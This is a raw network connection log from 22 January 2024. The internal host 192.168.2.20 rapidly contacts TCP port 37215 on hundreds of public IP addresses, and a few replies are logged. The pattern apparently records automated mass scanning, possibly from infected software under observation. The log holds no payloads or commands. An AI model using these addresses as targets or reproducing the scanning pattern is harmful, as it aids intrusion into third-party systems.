Jan 22, 2024 03:59:43.639086962 CET	58015	37215	192.168.2.20	197.28.53.231
Jan 22, 2024 03:59:43.639153957 CET	58015	37215	192.168.2.20	41.161.56.108
Jan 22, 2024 03:59:43.639218092 CET	58015	37215	192.168.2.20	156.254.22.254
Jan 22, 2024 03:59:43.639292955 CET	58015	37215	192.168.2.20	197.84.198.52
Jan 22, 2024 03:59:43.639362097 CET	58015	37215	192.168.2.20	197.231.238.177
Jan 22, 2024 03:59:43.639426947 CET	58015	37215	192.168.2.20	222.122.45.164
Jan 22, 2024 03:59:43.639492989 CET	58015	37215	192.168.2.20	197.3.34.6
Jan 22, 2024 03:59:43.639566898 CET	58015	37215	192.168.2.20	197.49.130.1
Jan 22, 2024 03:59:43.639625072 CET	58015	37215	192.168.2.20	41.112.222.6
Jan 22, 2024 03:59:43.639691114 CET	58015	37215	192.168.2.20	37.213.195.128
Jan 22, 2024 03:59:43.639765978 CET	58015	37215	192.168.2.20	41.14.33.124
Jan 22, 2024 03:59:43.639826059 CET	58015	37215	192.168.2.20	121.167.134.34
Jan 22, 2024 03:59:43.639899015 CET	58015	37215	192.168.2.20	156.171.213.220
Jan 22, 2024 03:59:43.639967918 CET	58015	37215	192.168.2.20	157.22.52.59
Jan 22, 2024 03:59:43.640032053 CET	58015	37215	192.168.2.20	222.107.165.131
Jan 22, 2024 03:59:43.640094042 CET	58015	37215	192.168.2.20	157.17.234.87
Jan 22, 2024 03:59:43.640173912 CET	58015	37215	192.168.2.20	197.180.16.214
Jan 22, 2024 03:59:43.640234947 CET	58015	37215	192.168.2.20	156.62.122.61
Jan 22, 2024 03:59:43.640294075 CET	58015	37215	192.168.2.20	197.37.110.232
Jan 22, 2024 03:59:43.640362024 CET	58015	37215	192.168.2.20	37.230.76.235
Jan 22, 2024 03:59:43.640438080 CET	58015	37215	192.168.2.20	154.32.208.37
Jan 22, 2024 03:59:43.640511990 CET	58015	37215	192.168.2.20	197.175.203.219
Jan 22, 2024 03:59:43.640583038 CET	58015	37215	192.168.2.20	156.240.29.246
Jan 22, 2024 03:59:43.640650034 CET	58015	37215	192.168.2.20	156.169.74.245
Jan 22, 2024 03:59:43.640717983 CET	58015	37215	192.168.2.20	41.87.19.1
Jan 22, 2024 03:59:43.640784025 CET	58015	37215	192.168.2.20	197.21.143.222
Jan 22, 2024 03:59:43.640844107 CET	58015	37215	192.168.2.20	160.25.230.158
Jan 22, 2024 03:59:43.640911102 CET	58015	37215	192.168.2.20	41.236.163.33
Jan 22, 2024 03:59:43.640989065 CET	58015	37215	192.168.2.20	197.106.35.51
Jan 22, 2024 03:59:43.641053915 CET	58015	37215	192.168.2.20	41.250.211.207
Jan 22, 2024 03:59:43.641120911 CET	58015	37215	192.168.2.20	156.139.88.22
Jan 22, 2024 03:59:43.641180992 CET	58015	37215	192.168.2.20	41.38.126.122
Jan 22, 2024 03:59:43.641248941 CET	58015	37215	192.168.2.20	197.66.58.68
Jan 22, 2024 03:59:43.641319990 CET	58015	37215	192.168.2.20	156.17.221.28
Jan 22, 2024 03:59:43.641381979 CET	58015	37215	192.168.2.20	197.194.166.186
Jan 22, 2024 03:59:43.641453981 CET	58015	37215	192.168.2.20	154.243.142.239
Jan 22, 2024 03:59:43.641520977 CET	58015	37215	192.168.2.20	160.124.217.245
Jan 22, 2024 03:59:43.641586065 CET	58015	37215	192.168.2.20	41.93.27.4
Jan 22, 2024 03:59:43.641649008 CET	58015	37215	192.168.2.20	154.210.247.175
Jan 22, 2024 03:59:43.641726017 CET	58015	37215	192.168.2.20	197.123.148.33
Jan 22, 2024 03:59:43.641792059 CET	58015	37215	192.168.2.20	197.9.11.195
Jan 22, 2024 03:59:43.641860008 CET	58015	37215	192.168.2.20	157.130.86.153
Jan 22, 2024 03:59:43.641926050 CET	58015	37215	192.168.2.20	197.46.252.92
Jan 22, 2024 03:59:43.641983986 CET	58015	37215	192.168.2.20	197.101.142.20
Jan 22, 2024 03:59:43.642059088 CET	58015	37215	192.168.2.20	156.194.204.239
Jan 22, 2024 03:59:43.642122984 CET	58015	37215	192.168.2.20	197.56.219.157
Jan 22, 2024 03:59:43.642199039 CET	58015	37215	192.168.2.20	156.22.160.133
Jan 22, 2024 03:59:43.642277002 CET	58015	37215	192.168.2.20	196.3.132.6
Jan 22, 2024 03:59:43.642322063 CET	58015	37215	192.168.2.20	41.160.145.169
Jan 22, 2024 03:59:43.642395973 CET	58015	37215	192.168.2.20	156.236.155.153
Jan 22, 2024 03:59:43.642455101 CET	58015	37215	192.168.2.20	156.20.145.171
Jan 22, 2024 03:59:43.642532110 CET	58015	37215	192.168.2.20	41.113.19.210
Jan 22, 2024 03:59:43.642589092 CET	58015	37215	192.168.2.20	156.102.110.145
Jan 22, 2024 03:59:43.642663002 CET	58015	37215	192.168.2.20	41.221.166.39
Jan 22, 2024 03:59:43.642734051 CET	58015	37215	192.168.2.20	156.159.222.18
Jan 22, 2024 03:59:43.642801046 CET	58015	37215	192.168.2.20	120.180.236.91
Jan 22, 2024 03:59:43.642858982 CET	58015	37215	192.168.2.20	121.79.228.246
Jan 22, 2024 03:59:43.642925024 CET	58015	37215	192.168.2.20	154.238.158.227
Jan 22, 2024 03:59:43.642992973 CET	58015	37215	192.168.2.20	138.95.75.0
Jan 22, 2024 03:59:43.643068075 CET	58015	37215	192.168.2.20	197.11.123.190
Jan 22, 2024 03:59:43.643134117 CET	58015	37215	192.168.2.20	154.86.117.167
Jan 22, 2024 03:59:43.643201113 CET	58015	37215	192.168.2.20	197.79.154.247
Jan 22, 2024 03:59:43.643269062 CET	58015	37215	192.168.2.20	157.193.231.117
Jan 22, 2024 03:59:43.643335104 CET	58015	37215	192.168.2.20	156.35.17.213
Jan 22, 2024 03:59:43.643369913 CET	58015	37215	192.168.2.20	156.4.44.47
Jan 22, 2024 03:59:43.643400908 CET	58015	37215	192.168.2.20	41.24.179.241
Jan 22, 2024 03:59:43.643446922 CET	58015	37215	192.168.2.20	160.138.237.124
Jan 22, 2024 03:59:43.643472910 CET	58015	37215	192.168.2.20	186.205.60.195
Jan 22, 2024 03:59:43.643475056 CET	58015	37215	192.168.2.20	197.156.21.186
Jan 22, 2024 03:59:43.643523932 CET	58015	37215	192.168.2.20	156.156.237.7
Jan 22, 2024 03:59:43.643537045 CET	58015	37215	192.168.2.20	156.90.113.43
Jan 22, 2024 03:59:43.643562078 CET	58015	37215	192.168.2.20	37.224.181.79
Jan 22, 2024 03:59:43.643587112 CET	58015	37215	192.168.2.20	37.198.48.222
Jan 22, 2024 03:59:43.643616915 CET	58015	37215	192.168.2.20	156.208.137.96
Jan 22, 2024 03:59:43.643657923 CET	58015	37215	192.168.2.20	41.52.28.93
Jan 22, 2024 03:59:43.643661976 CET	58015	37215	192.168.2.20	156.99.211.159
Jan 22, 2024 03:59:43.643696070 CET	58015	37215	192.168.2.20	156.56.35.7
Jan 22, 2024 03:59:43.643718004 CET	58015	37215	192.168.2.20	154.119.91.141
Jan 22, 2024 03:59:43.643753052 CET	58015	37215	192.168.2.20	156.179.254.107
Jan 22, 2024 03:59:43.643773079 CET	58015	37215	192.168.2.20	156.237.16.210
Jan 22, 2024 03:59:43.643795013 CET	58015	37215	192.168.2.20	41.28.106.232
Jan 22, 2024 03:59:43.643832922 CET	58015	37215	192.168.2.20	197.100.255.14
Jan 22, 2024 03:59:43.643853903 CET	58015	37215	192.168.2.20	156.82.131.142
Jan 22, 2024 03:59:43.643881083 CET	58015	37215	192.168.2.20	41.96.121.168
Jan 22, 2024 03:59:43.643920898 CET	58015	37215	192.168.2.20	107.29.79.221
Jan 22, 2024 03:59:43.643935919 CET	58015	37215	192.168.2.20	41.193.63.101
Jan 22, 2024 03:59:43.643970013 CET	58015	37215	192.168.2.20	156.2.252.165
Jan 22, 2024 03:59:43.644002914 CET	58015	37215	192.168.2.20	156.9.62.5
Jan 22, 2024 03:59:43.644017935 CET	58015	37215	192.168.2.20	121.106.211.83
Jan 22, 2024 03:59:43.644061089 CET	58015	37215	192.168.2.20	197.243.150.214
Jan 22, 2024 03:59:43.644073009 CET	58015	37215	192.168.2.20	197.34.87.180
Jan 22, 2024 03:59:43.644109964 CET	58015	37215	192.168.2.20	197.205.156.140
Jan 22, 2024 03:59:43.644136906 CET	58015	37215	192.168.2.20	37.174.147.214
Jan 22, 2024 03:59:43.644162893 CET	58015	37215	192.168.2.20	190.192.154.11
Jan 22, 2024 03:59:43.644192934 CET	58015	37215	192.168.2.20	197.119.243.217
Jan 22, 2024 03:59:43.644220114 CET	58015	37215	192.168.2.20	41.72.159.43
Jan 22, 2024 03:59:43.644243956 CET	58015	37215	192.168.2.20	197.111.31.178
Jan 22, 2024 03:59:43.644274950 CET	58015	37215	192.168.2.20	95.234.86.219
Jan 22, 2024 03:59:43.644292116 CET	58015	37215	192.168.2.20	197.207.161.103
Jan 22, 2024 03:59:43.644325018 CET	58015	37215	192.168.2.20	41.180.142.173
Jan 22, 2024 03:59:43.644345999 CET	58015	37215	192.168.2.20	190.231.176.137
Jan 22, 2024 03:59:43.644381046 CET	58015	37215	192.168.2.20	156.209.66.77
Jan 22, 2024 03:59:43.644402027 CET	58015	37215	192.168.2.20	45.3.120.251
Jan 22, 2024 03:59:43.644443989 CET	58015	37215	192.168.2.20	94.76.151.240
Jan 22, 2024 03:59:43.644483089 CET	58015	37215	192.168.2.20	95.15.205.35
Jan 22, 2024 03:59:43.644496918 CET	58015	37215	192.168.2.20	41.230.151.176
Jan 22, 2024 03:59:43.644524097 CET	58015	37215	192.168.2.20	197.78.191.179
Jan 22, 2024 03:59:43.644551039 CET	58015	37215	192.168.2.20	156.158.217.159
Jan 22, 2024 03:59:43.644581079 CET	58015	37215	192.168.2.20	196.245.100.67
Jan 22, 2024 03:59:43.644597054 CET	58015	37215	192.168.2.20	197.55.170.219
Jan 22, 2024 03:59:43.644642115 CET	58015	37215	192.168.2.20	156.200.119.86
Jan 22, 2024 03:59:43.644656897 CET	58015	37215	192.168.2.20	45.242.225.222
Jan 22, 2024 03:59:43.644685984 CET	58015	37215	192.168.2.20	197.251.86.5
Jan 22, 2024 03:59:43.644715071 CET	58015	37215	192.168.2.20	156.68.134.59
Jan 22, 2024 03:59:43.644741058 CET	58015	37215	192.168.2.20	156.233.61.5
Jan 22, 2024 03:59:43.644768000 CET	58015	37215	192.168.2.20	197.30.55.199
Jan 22, 2024 03:59:43.644785881 CET	58015	37215	192.168.2.20	197.24.56.162
Jan 22, 2024 03:59:43.644824982 CET	58015	37215	192.168.2.20	197.99.76.133
Jan 22, 2024 03:59:43.644850016 CET	58015	37215	192.168.2.20	197.99.202.90
Jan 22, 2024 03:59:43.644885063 CET	58015	37215	192.168.2.20	45.238.205.236
Jan 22, 2024 03:59:43.644901037 CET	58015	37215	192.168.2.20	197.200.151.21
Jan 22, 2024 03:59:43.644936085 CET	58015	37215	192.168.2.20	156.44.143.154
Jan 22, 2024 03:59:43.644973040 CET	58015	37215	192.168.2.20	160.186.228.96
Jan 22, 2024 03:59:43.644988060 CET	58015	37215	192.168.2.20	157.113.210.245
Jan 22, 2024 03:59:43.645009995 CET	58015	37215	192.168.2.20	41.64.200.14
Jan 22, 2024 03:59:43.645042896 CET	58015	37215	192.168.2.20	156.195.107.176
Jan 22, 2024 03:59:43.645067930 CET	58015	37215	192.168.2.20	92.110.154.63
Jan 22, 2024 03:59:43.645097971 CET	58015	37215	192.168.2.20	156.64.83.120
Jan 22, 2024 03:59:43.645123959 CET	58015	37215	192.168.2.20	156.115.160.212
Jan 22, 2024 03:59:43.645150900 CET	58015	37215	192.168.2.20	95.249.240.220
Jan 22, 2024 03:59:43.645179033 CET	58015	37215	192.168.2.20	186.45.195.131
Jan 22, 2024 03:59:43.645199060 CET	58015	37215	192.168.2.20	120.68.69.165
Jan 22, 2024 03:59:43.645234108 CET	58015	37215	192.168.2.20	41.199.210.83
Jan 22, 2024 03:59:43.645262003 CET	58015	37215	192.168.2.20	156.253.199.122
Jan 22, 2024 03:59:43.645287991 CET	58015	37215	192.168.2.20	120.193.63.229
Jan 22, 2024 03:59:43.645309925 CET	58015	37215	192.168.2.20	107.23.184.130
Jan 22, 2024 03:59:43.645335913 CET	58015	37215	192.168.2.20	41.166.141.251
Jan 22, 2024 03:59:43.645370960 CET	58015	37215	192.168.2.20	37.174.141.192
Jan 22, 2024 03:59:43.645399094 CET	58015	37215	192.168.2.20	197.159.180.95
Jan 22, 2024 03:59:43.645426035 CET	58015	37215	192.168.2.20	156.90.213.156
Jan 22, 2024 03:59:43.645452023 CET	58015	37215	192.168.2.20	41.221.179.85
Jan 22, 2024 03:59:43.645481110 CET	58015	37215	192.168.2.20	197.216.111.185
Jan 22, 2024 03:59:43.645505905 CET	58015	37215	192.168.2.20	197.33.216.130
Jan 22, 2024 03:59:43.645534992 CET	58015	37215	192.168.2.20	156.243.69.47
Jan 22, 2024 03:59:43.645562887 CET	58015	37215	192.168.2.20	156.253.122.111
Jan 22, 2024 03:59:43.645586014 CET	58015	37215	192.168.2.20	41.153.8.52
Jan 22, 2024 03:59:43.645613909 CET	58015	37215	192.168.2.20	197.214.114.200
Jan 22, 2024 03:59:43.645653963 CET	58015	37215	192.168.2.20	157.162.216.84
Jan 22, 2024 03:59:43.645690918 CET	58015	37215	192.168.2.20	41.3.3.76
Jan 22, 2024 03:59:43.645714998 CET	58015	37215	192.168.2.20	45.185.169.178
Jan 22, 2024 03:59:43.645725965 CET	58015	37215	192.168.2.20	197.15.137.39
Jan 22, 2024 03:59:43.645745993 CET	58015	37215	192.168.2.20	37.145.113.80
Jan 22, 2024 03:59:43.645775080 CET	58015	37215	192.168.2.20	156.175.109.204
Jan 22, 2024 03:59:43.645807028 CET	58015	37215	192.168.2.20	157.94.30.180
Jan 22, 2024 03:59:43.645837069 CET	58015	37215	192.168.2.20	41.135.22.158
Jan 22, 2024 03:59:43.645864964 CET	58015	37215	192.168.2.20	41.1.14.158
Jan 22, 2024 03:59:43.645900011 CET	58015	37215	192.168.2.20	41.156.255.155
Jan 22, 2024 03:59:43.645925999 CET	58015	37215	192.168.2.20	197.110.135.122
Jan 22, 2024 03:59:43.645950079 CET	58015	37215	192.168.2.20	107.100.59.16
Jan 22, 2024 03:59:43.645972967 CET	58015	37215	192.168.2.20	156.56.151.224
Jan 22, 2024 03:59:43.645998001 CET	58015	37215	192.168.2.20	45.30.125.7
Jan 22, 2024 03:59:43.646034002 CET	58015	37215	192.168.2.20	41.223.99.216
Jan 22, 2024 03:59:43.646061897 CET	58015	37215	192.168.2.20	94.84.179.146
Jan 22, 2024 03:59:43.646083117 CET	58015	37215	192.168.2.20	156.100.213.121
Jan 22, 2024 03:59:43.646106958 CET	58015	37215	192.168.2.20	197.172.9.171
Jan 22, 2024 03:59:43.646142006 CET	58015	37215	192.168.2.20	41.5.254.74
Jan 22, 2024 03:59:43.646167040 CET	58015	37215	192.168.2.20	197.246.23.185
Jan 22, 2024 03:59:43.646189928 CET	58015	37215	192.168.2.20	197.4.99.204
Jan 22, 2024 03:59:43.646226883 CET	58015	37215	192.168.2.20	156.187.127.56
Jan 22, 2024 03:59:43.646243095 CET	58015	37215	192.168.2.20	197.208.154.46
Jan 22, 2024 03:59:43.646274090 CET	58015	37215	192.168.2.20	156.254.37.193
Jan 22, 2024 03:59:43.646302938 CET	58015	37215	192.168.2.20	197.14.246.220
Jan 22, 2024 03:59:43.646326065 CET	58015	37215	192.168.2.20	41.133.245.43
Jan 22, 2024 03:59:43.646356106 CET	58015	37215	192.168.2.20	102.231.20.236
Jan 22, 2024 03:59:43.646388054 CET	58015	37215	192.168.2.20	154.254.160.149
Jan 22, 2024 03:59:43.646418095 CET	58015	37215	192.168.2.20	197.53.20.80
Jan 22, 2024 03:59:43.646439075 CET	58015	37215	192.168.2.20	41.62.115.111
Jan 22, 2024 03:59:43.646465063 CET	58015	37215	192.168.2.20	197.116.162.185
Jan 22, 2024 03:59:43.646492958 CET	58015	37215	192.168.2.20	156.15.129.98
Jan 22, 2024 03:59:43.646512032 CET	58015	37215	192.168.2.20	197.194.24.76
Jan 22, 2024 03:59:43.646547079 CET	58015	37215	192.168.2.20	157.230.244.203
Jan 22, 2024 03:59:43.646584988 CET	58015	37215	192.168.2.20	92.196.161.156
Jan 22, 2024 03:59:43.646604061 CET	58015	37215	192.168.2.20	95.215.245.197
Jan 22, 2024 03:59:43.646620989 CET	58015	37215	192.168.2.20	45.155.126.142
Jan 22, 2024 03:59:43.646647930 CET	58015	37215	192.168.2.20	197.158.194.96
Jan 22, 2024 03:59:43.646682024 CET	58015	37215	192.168.2.20	107.108.122.187
Jan 22, 2024 03:59:43.646713972 CET	58015	37215	192.168.2.20	41.218.50.193
Jan 22, 2024 03:59:43.646738052 CET	58015	37215	192.168.2.20	156.71.44.29
Jan 22, 2024 03:59:43.646764994 CET	58015	37215	192.168.2.20	122.35.119.216
Jan 22, 2024 03:59:43.646785021 CET	58015	37215	192.168.2.20	41.120.212.105
Jan 22, 2024 03:59:43.646816015 CET	58015	37215	192.168.2.20	197.64.113.120
Jan 22, 2024 03:59:43.646857977 CET	58015	37215	192.168.2.20	120.173.172.198
Jan 22, 2024 03:59:43.646872044 CET	58015	37215	192.168.2.20	197.108.135.198
Jan 22, 2024 03:59:43.646892071 CET	58015	37215	192.168.2.20	156.206.177.21
Jan 22, 2024 03:59:43.646918058 CET	58015	37215	192.168.2.20	41.189.246.23
Jan 22, 2024 03:59:43.646955013 CET	58015	37215	192.168.2.20	156.125.26.249
Jan 22, 2024 03:59:43.646981001 CET	58015	37215	192.168.2.20	121.181.178.162
Jan 22, 2024 03:59:43.647000074 CET	58015	37215	192.168.2.20	156.155.7.25
Jan 22, 2024 03:59:43.647027016 CET	58015	37215	192.168.2.20	41.90.128.212
Jan 22, 2024 03:59:43.647063017 CET	58015	37215	192.168.2.20	181.234.174.205
Jan 22, 2024 03:59:43.647090912 CET	58015	37215	192.168.2.20	45.163.207.218
Jan 22, 2024 03:59:43.647118092 CET	58015	37215	192.168.2.20	138.103.108.130
Jan 22, 2024 03:59:43.647144079 CET	58015	37215	192.168.2.20	197.45.111.215
Jan 22, 2024 03:59:43.647165060 CET	58015	37215	192.168.2.20	181.8.163.9
Jan 22, 2024 03:59:43.647201061 CET	58015	37215	192.168.2.20	157.241.158.59
Jan 22, 2024 03:59:43.647226095 CET	58015	37215	192.168.2.20	197.100.99.107
Jan 22, 2024 03:59:43.647252083 CET	58015	37215	192.168.2.20	190.122.152.91
Jan 22, 2024 03:59:43.647274017 CET	58015	37215	192.168.2.20	156.31.89.125
Jan 22, 2024 03:59:43.647309065 CET	58015	37215	192.168.2.20	197.52.243.59
Jan 22, 2024 03:59:43.647346020 CET	58015	37215	192.168.2.20	197.50.190.55
Jan 22, 2024 03:59:43.647356987 CET	58015	37215	192.168.2.20	186.223.183.133
Jan 22, 2024 03:59:43.647392988 CET	58015	37215	192.168.2.20	196.223.95.38
Jan 22, 2024 03:59:43.647418022 CET	58015	37215	192.168.2.20	156.15.15.149
Jan 22, 2024 03:59:43.647440910 CET	58015	37215	192.168.2.20	197.213.64.209
Jan 22, 2024 03:59:43.647469997 CET	58015	37215	192.168.2.20	197.33.9.162
Jan 22, 2024 03:59:43.647504091 CET	58015	37215	192.168.2.20	41.69.26.196
Jan 22, 2024 03:59:43.647521019 CET	58015	37215	192.168.2.20	41.164.11.160
Jan 22, 2024 03:59:43.647555113 CET	58015	37215	192.168.2.20	92.25.119.129
Jan 22, 2024 03:59:43.647582054 CET	58015	37215	192.168.2.20	197.164.12.37
Jan 22, 2024 03:59:43.647600889 CET	58015	37215	192.168.2.20	157.10.84.131
Jan 22, 2024 03:59:43.647638083 CET	58015	37215	192.168.2.20	41.36.192.51
Jan 22, 2024 03:59:43.647674084 CET	58015	37215	192.168.2.20	41.125.124.198
Jan 22, 2024 03:59:43.647690058 CET	58015	37215	192.168.2.20	156.52.159.191
Jan 22, 2024 03:59:43.647716999 CET	58015	37215	192.168.2.20	156.85.149.162
Jan 22, 2024 03:59:43.647762060 CET	58015	37215	192.168.2.20	156.167.114.163
Jan 22, 2024 03:59:43.647773027 CET	58015	37215	192.168.2.20	156.93.35.109
Jan 22, 2024 03:59:43.647792101 CET	58015	37215	192.168.2.20	197.10.20.150
Jan 22, 2024 03:59:43.647825956 CET	58015	37215	192.168.2.20	156.76.71.120
Jan 22, 2024 03:59:43.647871971 CET	58015	37215	192.168.2.20	156.161.48.4
Jan 22, 2024 03:59:43.647900105 CET	58015	37215	192.168.2.20	197.107.238.208
Jan 22, 2024 03:59:43.647901058 CET	58015	37215	192.168.2.20	41.201.241.160
Jan 22, 2024 03:59:43.647928953 CET	58015	37215	192.168.2.20	197.50.163.148
Jan 22, 2024 03:59:43.647983074 CET	58015	37215	192.168.2.20	41.156.33.183
Jan 22, 2024 03:59:43.648015022 CET	58015	37215	192.168.2.20	41.169.50.193
Jan 22, 2024 03:59:43.648050070 CET	58015	37215	192.168.2.20	197.157.178.31
Jan 22, 2024 03:59:43.648061991 CET	58015	37215	192.168.2.20	156.33.142.208
Jan 22, 2024 03:59:43.648094893 CET	58015	37215	192.168.2.20	156.176.126.103
Jan 22, 2024 03:59:43.648116112 CET	58015	37215	192.168.2.20	156.213.23.157
Jan 22, 2024 03:59:43.648148060 CET	58015	37215	192.168.2.20	122.242.20.25
Jan 22, 2024 03:59:43.648173094 CET	58015	37215	192.168.2.20	156.209.138.247
Jan 22, 2024 03:59:43.648205042 CET	58015	37215	192.168.2.20	120.20.13.60
Jan 22, 2024 03:59:43.648225069 CET	58015	37215	192.168.2.20	156.61.4.187
Jan 22, 2024 03:59:43.648260117 CET	58015	37215	192.168.2.20	156.120.17.167
Jan 22, 2024 03:59:43.648284912 CET	58015	37215	192.168.2.20	197.246.223.178
Jan 22, 2024 03:59:43.648313046 CET	58015	37215	192.168.2.20	120.139.145.204
Jan 22, 2024 03:59:43.648344994 CET	58015	37215	192.168.2.20	156.40.209.5
Jan 22, 2024 03:59:43.648370028 CET	58015	37215	192.168.2.20	41.135.182.91
Jan 22, 2024 03:59:43.648395061 CET	58015	37215	192.168.2.20	197.4.198.201
Jan 22, 2024 03:59:43.648416996 CET	58015	37215	192.168.2.20	92.159.20.185
Jan 22, 2024 03:59:43.648449898 CET	58015	37215	192.168.2.20	92.108.14.156
Jan 22, 2024 03:59:43.648482084 CET	58015	37215	192.168.2.20	154.244.155.85
Jan 22, 2024 03:59:43.648510933 CET	58015	37215	192.168.2.20	41.49.196.33
Jan 22, 2024 03:59:43.648536921 CET	58015	37215	192.168.2.20	41.157.0.104
Jan 22, 2024 03:59:43.648564100 CET	58015	37215	192.168.2.20	120.107.224.78
Jan 22, 2024 03:59:43.648583889 CET	58015	37215	192.168.2.20	41.25.252.169
Jan 22, 2024 03:59:43.648611069 CET	58015	37215	192.168.2.20	41.150.200.144
Jan 22, 2024 03:59:43.648646116 CET	58015	37215	192.168.2.20	41.190.77.227
Jan 22, 2024 03:59:43.648673058 CET	58015	37215	192.168.2.20	37.35.165.30
Jan 22, 2024 03:59:43.648699999 CET	58015	37215	192.168.2.20	197.27.17.238
Jan 22, 2024 03:59:43.648727894 CET	58015	37215	192.168.2.20	41.18.129.65
Jan 22, 2024 03:59:43.648755074 CET	58015	37215	192.168.2.20	138.29.38.64
Jan 22, 2024 03:59:43.648780107 CET	58015	37215	192.168.2.20	41.2.207.107
Jan 22, 2024 03:59:43.648809910 CET	58015	37215	192.168.2.20	102.31.217.102
Jan 22, 2024 03:59:43.648833990 CET	58015	37215	192.168.2.20	156.128.193.194
Jan 22, 2024 03:59:43.648863077 CET	58015	37215	192.168.2.20	197.227.52.244
Jan 22, 2024 03:59:43.648883104 CET	58015	37215	192.168.2.20	197.21.212.29
Jan 22, 2024 03:59:43.648917913 CET	58015	37215	192.168.2.20	41.170.125.146
Jan 22, 2024 03:59:43.648943901 CET	58015	37215	192.168.2.20	156.170.102.216
Jan 22, 2024 03:59:43.648972034 CET	58015	37215	192.168.2.20	122.175.122.28
Jan 22, 2024 03:59:43.648992062 CET	58015	37215	192.168.2.20	41.21.113.241
Jan 22, 2024 03:59:43.649024963 CET	58015	37215	192.168.2.20	197.172.172.41
Jan 22, 2024 03:59:43.649054050 CET	58015	37215	192.168.2.20	41.101.182.32
Jan 22, 2024 03:59:43.649085045 CET	58015	37215	192.168.2.20	94.216.40.26
Jan 22, 2024 03:59:43.649106979 CET	58015	37215	192.168.2.20	197.121.41.134
Jan 22, 2024 03:59:43.649128914 CET	58015	37215	192.168.2.20	156.47.182.113
Jan 22, 2024 03:59:43.649163008 CET	58015	37215	192.168.2.20	197.42.246.82
Jan 22, 2024 03:59:43.649189949 CET	58015	37215	192.168.2.20	156.52.51.232
Jan 22, 2024 03:59:43.649209976 CET	58015	37215	192.168.2.20	41.58.215.86
Jan 22, 2024 03:59:43.649241924 CET	58015	37215	192.168.2.20	197.0.74.35
Jan 22, 2024 03:59:43.649279118 CET	58015	37215	192.168.2.20	41.142.158.9
Jan 22, 2024 03:59:43.649298906 CET	58015	37215	192.168.2.20	102.38.151.137
Jan 22, 2024 03:59:43.649324894 CET	58015	37215	192.168.2.20	197.180.144.60
Jan 22, 2024 03:59:43.649352074 CET	58015	37215	192.168.2.20	94.17.128.173
Jan 22, 2024 03:59:43.649379015 CET	58015	37215	192.168.2.20	156.119.251.186
Jan 22, 2024 03:59:43.649406910 CET	58015	37215	192.168.2.20	197.4.141.91
Jan 22, 2024 03:59:43.649441004 CET	58015	37215	192.168.2.20	157.163.219.137
Jan 22, 2024 03:59:43.649590969 CET	59910	37215	192.168.2.20	156.73.171.30
Jan 22, 2024 03:59:43.649660110 CET	55796	37215	192.168.2.20	156.73.45.61
Jan 22, 2024 03:59:43.649866104 CET	59992	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:43.857037067 CET	37215	58015	95.216.78.125	192.168.2.20
Jan 22, 2024 03:59:43.878314972 CET	37215	58015	156.237.16.210	192.168.2.20
Jan 22, 2024 03:59:43.890815020 CET	37215	59992	94.121.178.204	192.168.2.20
Jan 22, 2024 03:59:43.891144037 CET	59992	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:43.891616106 CET	59992	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:43.891616106 CET	59992	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:43.891702890 CET	59994	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:43.896915913 CET	37215	58015	95.15.205.35	192.168.2.20
Jan 22, 2024 03:59:43.905580044 CET	37215	58015	156.195.71.129	192.168.2.20
Jan 22, 2024 03:59:43.953908920 CET	37215	58015	160.124.217.245	192.168.2.20
Jan 22, 2024 03:59:43.962734938 CET	37215	58015	197.85.8.22	192.168.2.20
Jan 22, 2024 03:59:43.970669985 CET	37215	58015	41.71.88.85	192.168.2.20
Jan 22, 2024 03:59:43.992311001 CET	37215	58015	41.169.50.193	192.168.2.20
Jan 22, 2024 03:59:44.049082994 CET	37215	58015	41.213.209.127	192.168.2.20
Jan 22, 2024 03:59:44.132302046 CET	37215	59992	94.121.178.204	192.168.2.20
Jan 22, 2024 03:59:44.133934021 CET	37215	59994	94.121.178.204	192.168.2.20
Jan 22, 2024 03:59:44.134159088 CET	59994	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:44.134160042 CET	59994	37215	192.168.2.20	94.121.178.204
Jan 22, 2024 03:59:44.376494884 CET	37215	59994	94.121.178.204	192.168.2.20
Jan 22, 2024 03:59:44.648580074 CET	55796	37215	192.168.2.20	156.73.45.61
Jan 22, 2024 03:59:44.648710012 CET	59910	37215	192.168.2.20	156.73.171.30
Jan 22, 2024 03:59:45.135488033 CET	58015	37215	192.168.2.20	222.19.155.82
Jan 22, 2024 03:59:45.135488987 CET	58015	37215	192.168.2.20	122.144.18.54
Jan 22, 2024 03:59:45.135490894 CET	58015	37215	192.168.2.20	197.9.186.66
Jan 22, 2024 03:59:45.135502100 CET	58015	37215	192.168.2.20	37.168.50.215
Jan 22, 2024 03:59:45.135514021 CET	58015	37215	192.168.2.20	94.65.172.133
Jan 22, 2024 03:59:45.135514021 CET	58015	37215	192.168.2.20	41.40.233.88
Jan 22, 2024 03:59:45.135520935 CET	58015	37215	192.168.2.20	197.220.105.130
Jan 22, 2024 03:59:45.135538101 CET	58015	37215	192.168.2.20	156.89.82.53
Jan 22, 2024 03:59:45.135585070 CET	58015	37215	192.168.2.20	197.79.85.221
Jan 22, 2024 03:59:45.135585070 CET	58015	37215	192.168.2.20	156.137.100.53
Jan 22, 2024 03:59:45.135632038 CET	58015	37215	192.168.2.20	197.95.38.122
Jan 22, 2024 03:59:45.135632038 CET	58015	37215	192.168.2.20	160.71.246.237
Jan 22, 2024 03:59:45.135632992 CET	58015	37215	192.168.2.20	197.239.169.239
Jan 22, 2024 03:59:45.135632992 CET	58015	37215	192.168.2.20	94.52.237.234
Jan 22, 2024 03:59:45.135632992 CET	58015	37215	192.168.2.20	138.1.127.13
Jan 22, 2024 03:59:45.135632992 CET	58015	37215	192.168.2.20	41.21.24.200
Jan 22, 2024 03:59:45.135632992 CET	58015	37215	192.168.2.20	107.15.181.202
Jan 22, 2024 03:59:45.135632992 CET	58015	37215	192.168.2.20	197.250.59.128
Jan 22, 2024 03:59:45.135663033 CET	58015	37215	192.168.2.20	37.233.255.223
Jan 22, 2024 03:59:45.135664940 CET	58015	37215	192.168.2.20	197.254.99.239
Jan 22, 2024 03:59:45.135668039 CET	58015	37215	192.168.2.20	156.206.116.117
Jan 22, 2024 03:59:45.135663033 CET	58015	37215	192.168.2.20	197.53.180.16
Jan 22, 2024 03:59:45.135708094 CET	58015	37215	192.168.2.20	197.158.90.106
